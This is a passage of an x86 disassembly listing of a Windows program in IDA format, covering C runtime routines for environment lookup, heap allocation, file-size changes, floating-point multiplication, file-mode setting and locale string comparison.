loc_4202F5:				; CODE XREF: .text:004202E5j
		mov	eax, dword_492AC4
		mov	ecx, offset dword_492AC4
		push	15h


loc_420301:				; CODE XREF: .text:004202F3j
		test	eax, eax
		pop	edx
		jz	short locret_420315
		cmp	eax, 1
		jz	short loc_420312
		and	dword ptr [ecx], 0
		push	edx
		call	eax
		pop	ecx


loc_420312:				; CODE XREF: .text:00420309j
		push	1
		pop	eax

locret_420315:				; CODE XREF: .text:00420304j
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420318	proc near		; CODE XREF: sub_41A91C+3AA7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_42037F
		dec	eax
		dec	eax
		jz	short loc_420370
		sub	eax, 4
		jz	short loc_420370
		sub	eax, 3
		jz	short loc_420370
		sub	eax, 4
		jz	short loc_420363
		sub	eax, 6
		jz	short loc_420356
		dec	eax
		jz	short loc_420349
		or	eax, 0FFFFFFFFh
		jmp	loc_420441
; ---------------------------------------------------------------------------


loc_420349:				; CODE XREF: sub_420318+27j
		mov	esi, dword_492AC8
		mov	eax, offset dword_492AC8
		jmp	short loc_42038A
; ---------------------------------------------------------------------------


loc_420356:				; CODE XREF: sub_420318+24j
		mov	esi, dword_492AC4
		mov	eax, offset dword_492AC4
		jmp	short loc_42038A
; ---------------------------------------------------------------------------


loc_420363:				; CODE XREF: sub_420318+1Fj
		mov	esi, dword_492ACC
		mov	eax, offset dword_492ACC
		jmp	short loc_42038A
; ---------------------------------------------------------------------------


loc_420370:				; CODE XREF: sub_420318+10j
					; sub_420318+15j ...
		push	edi
		call	sub_420445
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_42038A
; ---------------------------------------------------------------------------


loc_42037F:				; CODE XREF: sub_420318+Cj
		mov	esi, dword_492AC0
		mov	eax, offset dword_492AC0


loc_42038A:				; CODE XREF: sub_420318+3Cj
					; sub_420318+49j ...
		cmp	esi, 1
		jnz	short loc_420396
		xor	eax, eax
		jmp	loc_420441
; ---------------------------------------------------------------------------


loc_420396:				; CODE XREF: sub_420318+75j
		test	esi, esi
		jnz	short loc_4203A1
		push	3
		call	sub_41781E


loc_4203A1:				; CODE XREF: sub_420318+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4203B3
		cmp	edi, 0Bh
		jz	short loc_4203B3
		cmp	edi, 4
		jnz	short loc_4203D9


loc_4203B3:				; CODE XREF: sub_420318+8Fj
					; sub_420318+94j
		mov	ebx, dword_4928A4
		and	dword_4928A4, 0
		cmp	edi, ecx
		jnz	short loc_420408
		mov	edx, dword_43612C
		mov	dword_43612C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203D9:				; CODE XREF: sub_420318+99j
		mov	ebx, [ebp+arg_0]


loc_4203DC:				; CODE XREF: sub_420318+BFj
		cmp	edi, ecx
		jnz	short loc_420408
		mov	eax, dword_436120
		mov	ecx, dword_436124
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_42040F
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:4360B0h[edx*4]


loc_4203FD:				; CODE XREF: sub_420318+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_4203FD
		jmp	short loc_42040F
; ---------------------------------------------------------------------------


loc_420408:				; CODE XREF: sub_420318+AAj
					; sub_420318+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_42041D


loc_42040F:				; CODE XREF: sub_420318+D7j
					; sub_420318+EEj
		push	dword_43612C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_42042B
; ---------------------------------------------------------------------------


loc_42041D:				; CODE XREF: sub_420318+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_42042B
		cmp	edi, 4
		jnz	short loc_42043E


loc_42042B:				; CODE XREF: sub_420318+103j
					; sub_420318+10Cj
		cmp	edi, 8
		mov	dword_4928A4, ebx
		jnz	short loc_42043E
		mov	eax, [ebp+arg_0]
		mov	dword_43612C, eax


loc_42043E:				; CODE XREF: sub_420318+111j
					; sub_420318+11Cj
		xor	eax, eax
		pop	ebx


loc_420441:				; CODE XREF: sub_420318+2Cj
					; sub_420318+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_420318	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420445	proc near		; CODE XREF: .text:00420219p
					; sub_420318+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_436128
		cmp	dword_4360AC, edx
		push	esi
		mov	eax, offset dword_4360A8
		jz	short loc_420473
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:4360A8h[esi*4]


loc_420467:				; CODE XREF: sub_420445+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_420473
		cmp	[eax+4], edx
		jnz	short loc_420467


loc_420473:				; CODE XREF: sub_420445+16j
					; sub_420445+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:4360A8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_420487
		cmp	[eax+4], edx
		jz	short locret_420489


loc_420487:				; CODE XREF: sub_420445+3Bj
		xor	eax, eax

locret_420489:				; CODE XREF: sub_420445+40j
		retn
sub_420445	endp


; =============== S U B	R O U T	I N E =======================================



sub_42048A	proc near		; CODE XREF: sub_41E5E8+22p
					; sub_41E5E8+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_4204AA
		test	esi, esi
		jnz	short loc_4204A4
		push	1
		pop	esi


loc_4204A4:				; CODE XREF: sub_42048A+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4204AA:				; CODE XREF: sub_42048A+11j
					; sub_42048A+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4204DB
		cmp	ebx, dword_435AC8
		ja	short loc_4204C6
		push	ebx
		call	sub_41866D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4204F1


loc_4204C6:				; CODE XREF: sub_42048A+2Dj
		push	esi
		push	8
		push	dword_49426C
		call	ds:dword_495428	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4204FD


loc_4204DB:				; CODE XREF: sub_42048A+25j
		cmp	dword_49284C, 0
		jz	short loc_4204FD
		push	esi
		call	sub_4181F0
		test	eax, eax
		pop	ecx
		jz	short loc_420503
		jmp	short loc_4204AA
; ---------------------------------------------------------------------------


loc_4204F1:				; CODE XREF: sub_42048A+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415CA0
		add	esp, 0Ch


loc_4204FD:				; CODE XREF: sub_42048A+4Fj
					; sub_42048A+58j
		mov	eax, edi


loc_4204FF:				; CODE XREF: sub_42048A+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420503:				; CODE XREF: sub_42048A+63j
		xor	eax, eax
		jmp	short loc_4204FF
sub_42048A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E68D


loc_420507:				; CODE XREF: sub_41E68D+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_493E40, esi
		jle	short loc_42055A


loc_420516:				; CODE XREF: sub_41E68D+1ECBj
		mov	eax, dword_492AF0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_420551
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_420535
		push	eax
		call	sub_416D94
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420535
		inc	edi


loc_420535:				; CODE XREF: sub_41E68D+1E99j
					; sub_41E68D+1EA5j
		cmp	esi, 14h
		jl	short loc_420551
		mov	eax, dword_492AF0
		push	dword ptr [eax+esi*4]
		call	sub_415D6C
		mov	eax, dword_492AF0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_420551:				; CODE XREF: sub_41E68D+1E93j
					; sub_41E68D+1EABj
		inc	esi
		cmp	esi, dword_493E40
		jl	short loc_420516


loc_42055A:				; CODE XREF: sub_41E68D+1E87j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41E68D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42055F	proc near		; CODE XREF: sub_41EEE4+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_416880
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_493F9C
		jnb	loc_420694
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_493E60[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_420694
		push	1
		push	esi
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_42069E
		push	2
		push	esi
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_42069E
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_420641
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415CA0
		push	8000h
		push	ebx
		call	sub_4209BE
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_4205F5:				; CODE XREF: sub_42055F+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_420600
		mov	eax, edi


loc_420600:				; CODE XREF: sub_42055F+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41E3D1
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42061E
		sub	edi, eax
		test	edi, edi
		jle	short loc_420634
		jmp	short loc_4205F5
; ---------------------------------------------------------------------------


loc_42061E:				; CODE XREF: sub_42055F+B5j
		cmp	dword_4927F8, 5
		jnz	short loc_420631
		mov	dword_4927F4, 0Dh


loc_420631:				; CODE XREF: sub_42055F+C6j
		or	esi, 0FFFFFFFFh


loc_420634:				; CODE XREF: sub_42055F+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_4209BE
		pop	ecx
		pop	ecx
		jmp	short loc_420681
; ---------------------------------------------------------------------------


loc_420641:				; CODE XREF: sub_42055F+71j
		jge	short loc_420681
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41CE78
		push	ebx
		call	sub_41ED9C
		add	esp, 10h
		push	eax
		call	ds:dword_4952F0	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420681
		mov	dword_4927F4, 0Dh
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_4927F8, eax


loc_420681:				; CODE XREF: sub_42055F+E0j
					; sub_42055F:loc_420641j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4206A1
; ---------------------------------------------------------------------------


loc_420694:				; CODE XREF: sub_42055F+1Aj
					; sub_42055F+36j
		mov	dword_4927F4, 9


loc_42069E:				; CODE XREF: sub_42055F+4Ej
					; sub_42055F+63j
		or	eax, 0FFFFFFFFh


loc_4206A1:				; CODE XREF: sub_42055F+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_42055F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206A5	proc near		; CODE XREF: sub_41F1B2+23p

arg_0		= dword	ptr  4

		cmp	dword_494284, 0
		push	ebx
		push	esi
		mov	esi, dword_49281C
		push	edi
		jz	short loc_42071C
		test	esi, esi
		jnz	short loc_4206D6
		cmp	dword_492824, esi
		jz	short loc_42071C
		call	sub_420A73
		test	eax, eax
		jnz	short loc_42071C
		mov	esi, dword_49281C
		test	esi, esi
		jz	short loc_42071C


loc_4206D6:				; CODE XREF: sub_4206A5+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42071C
		push	ebx
		call	sub_4158E0
		pop	ecx
		mov	edi, eax


loc_4206E7:				; CODE XREF: sub_4206A5+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42071C
		push	eax
		call	sub_4158E0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_42070F
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_42070F
		push	edi
		push	ebx
		push	eax
		call	sub_420A34
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420714


loc_42070F:				; CODE XREF: sub_4206A5+51j
					; sub_4206A5+59j
		add	esi, 4
		jmp	short loc_4206E7
; ---------------------------------------------------------------------------


loc_420714:				; CODE XREF: sub_4206A5+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_42071E
; ---------------------------------------------------------------------------


loc_42071C:				; CODE XREF: sub_4206A5+10j
					; sub_4206A5+1Cj ...
		xor	eax, eax


loc_42071E:				; CODE XREF: sub_4206A5+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420722	proc near		; CODE XREF: sub_41FF41+165p
					; sub_420942+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_420922
		cmp	cx, 7FFFh
		jnb	loc_420922
		cmp	dx, 0BFFDh
		ja	loc_420922
		cmp	dx, 3FBFh
		ja	short loc_42078B
		xor	eax, eax
		jmp	short loc_4207C5
; ---------------------------------------------------------------------------


loc_42078B:				; CODE XREF: sub_420722+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_4207AD
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_4207AD
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_4207AF
		cmp	[esi], eax
		jnz	short loc_4207AF
		jmp	loc_42091C
; ---------------------------------------------------------------------------


loc_4207AD:				; CODE XREF: sub_420722+71j
					; sub_420722+79j
		xor	eax, eax


loc_4207AF:				; CODE XREF: sub_420722+80j
					; sub_420722+84j
		cmp	cx, ax
		jnz	short loc_4207D2
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_4207D2
		cmp	[ebx+4], eax
		jnz	short loc_4207D2
		cmp	[ebx], eax
		jnz	short loc_4207D2


loc_4207C5:				; CODE XREF: sub_420722+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_42093D
; ---------------------------------------------------------------------------


loc_4207D2:				; CODE XREF: sub_420722+90j
					; sub_420722+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_4207E2:				; CODE XREF: sub_420722+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_420836
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_4207FE:				; CODE XREF: sub_420722+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F893
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420829
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_420829:				; CODE XREF: sub_420722+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_4207FE


loc_420836:				; CODE XREF: sub_420722+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_4207E2
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_420879


loc_420854:				; CODE XREF: sub_420722+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_420872
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F912
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_420854


loc_420872:				; CODE XREF: sub_420722+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4208B2


loc_420879:				; CODE XREF: sub_420722+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_4208B2
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_420892:				; CODE XREF: sub_420722+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42089B
		inc	[ebp+var_14]


loc_42089B:				; CODE XREF: sub_420722+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F940
		dec	ebx
		pop	ecx
		jnz	short loc_420892
		cmp	[ebp+var_14], 0
		jz	short loc_4208B2
		or	byte ptr [ebp+var_24], 1


loc_4208B2:				; CODE XREF: sub_420722+155j
					; sub_420722+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_4208C9
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_4208FE


loc_4208C9:				; CODE XREF: sub_420722+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_4208FB
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_4208F6
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_4208F0
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_4208FE
; ---------------------------------------------------------------------------


loc_4208F0:				; CODE XREF: sub_420722+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_4208FE
; ---------------------------------------------------------------------------


loc_4208F6:				; CODE XREF: sub_420722+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_4208FE
; ---------------------------------------------------------------------------


loc_4208FB:				; CODE XREF: sub_420722+1ABj
		inc	[ebp+var_24+2]


loc_4208FE:				; CODE XREF: sub_420722+1A5j
					; sub_420722+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_420922
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42091C:				; CODE XREF: sub_420722+86j
		mov	[esi+0Ah], ax
		jmp	short loc_42093D
; ---------------------------------------------------------------------------


loc_420922:				; CODE XREF: sub_420722+42j
					; sub_420722+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_42093D:				; CODE XREF: sub_420722+ABj
					; sub_420722+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420942	proc near		; CODE XREF: sub_41FA34+440p
					; sub_41FF41+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_4365A0
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4209BB
		jge	short loc_42096A
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_436700
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_42096A:				; CODE XREF: sub_420942+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_420975
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_420975:				; CODE XREF: sub_420942+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4209BB
		push	esi
		push	edi


loc_42097C:				; CODE XREF: sub_420942+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_4209B4
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_4209A7
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_4209A7:				; CODE XREF: sub_420942+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_420722
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_4209B4:				; CODE XREF: sub_420942+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42097C
		pop	edi
		pop	esi


loc_4209BB:				; CODE XREF: sub_420942+14j
					; sub_420942+36j
		pop	ebx
		leave
		retn
sub_420942	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209BE	proc near		; CODE XREF: sub_42055F+8Bp
					; sub_42055F+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_493F9C
		jnb	short loc_420A25
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_493E60[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_420A25
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_4209FE
		and	cl, 7Fh
		jmp	short loc_420A0B
; ---------------------------------------------------------------------------


loc_4209FE:				; CODE XREF: sub_4209BE+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_420A19
		or	cl, 80h


loc_420A0B:				; CODE XREF: sub_4209BE+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420A19:				; CODE XREF: sub_4209BE+48j
		mov	dword_4927F4, 16h
		jmp	short loc_420A2F
; ---------------------------------------------------------------------------


loc_420A25:				; CODE XREF: sub_4209BE+Bj
					; sub_4209BE+27j
		mov	dword_4927F4, 9


loc_420A2F:				; CODE XREF: sub_4209BE+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4209BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A34	proc near		; CODE XREF: sub_4206A5+5Ep
					; sub_420F10+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_420A41
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420A41:				; CODE XREF: sub_420A34+7j
		push	dword_493FA0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_494244
		call	sub_420AE1
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_420A6E
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420A6E:				; CODE XREF: sub_420A34+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_420A34	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A73	proc near		; CODE XREF: sub_4206A5+1Ep
					; sub_420D89+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_492824
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_420AD4
		mov	ebx, ds:dword_4953E8


loc_420A8C:				; CODE XREF: sub_420A73+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_420ADC
		push	ebp
		call	sub_415CF8
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_420ADC
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420ADC
		push	edi
		push	[esp+18h+var_4]
		call	sub_420D89
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_420A8C


loc_420AD4:				; CODE XREF: sub_420A73+11j
		xor	eax, eax


loc_420AD6:				; CODE XREF: sub_420A73+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420ADC:				; CODE XREF: sub_420A73+29j
					; sub_420A73+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_420AD6
sub_420A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420AE1	proc near		; CODE XREF: sub_420A34+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427BD0
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_492AD8, ebx
		push	1
		pop	edi
		jnz	short loc_420B54
		push	edi
		mov	eax, offset dword_427824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_4952E8	; CompareStringW
		test	eax, eax
		jz	short loc_420B31
		mov	dword_492AD8, edi
		jmp	short loc_420B54
; ---------------------------------------------------------------------------


loc_420B31:				; CODE XREF: sub_420AE1+46j
		push	edi
		mov	eax, offset dword_4370B8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_4952EC	; CompareStringA
		test	eax, eax
		jz	loc_420D4A
		mov	dword_492AD8, 2


loc_420B54:				; CODE XREF: sub_420AE1+31j
					; sub_420AE1+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_420B6B
		push	esi
		push	[ebp+arg_8]
		call	sub_420D5E
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_420B6B:				; CODE XREF: sub_420AE1+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_420B80
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_420D5E
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_420B80:				; CODE XREF: sub_420AE1+8Dj
		mov	eax, dword_492AD8
		cmp	eax, 2
		jnz	short loc_420BA5
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4952EC	; CompareStringA
		jmp	loc_420D4C
; ---------------------------------------------------------------------------


loc_420BA5:				; CODE XREF: sub_420AE1+A7j
		cmp	eax, edi
		jnz	loc_420D4A
		cmp	[ebp+arg_18], ebx
		jnz	short loc_420BBA
		mov	eax, dword_49289C
		mov	[ebp+arg_18], eax


loc_420BBA:				; CODE XREF: sub_420AE1+CFj
		cmp	esi, ebx
		jz	short loc_420BC7
		cmp	[ebp+arg_14], ebx
		jnz	loc_420C5F


loc_420BC7:				; CODE XREF: sub_420AE1+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_420BD4


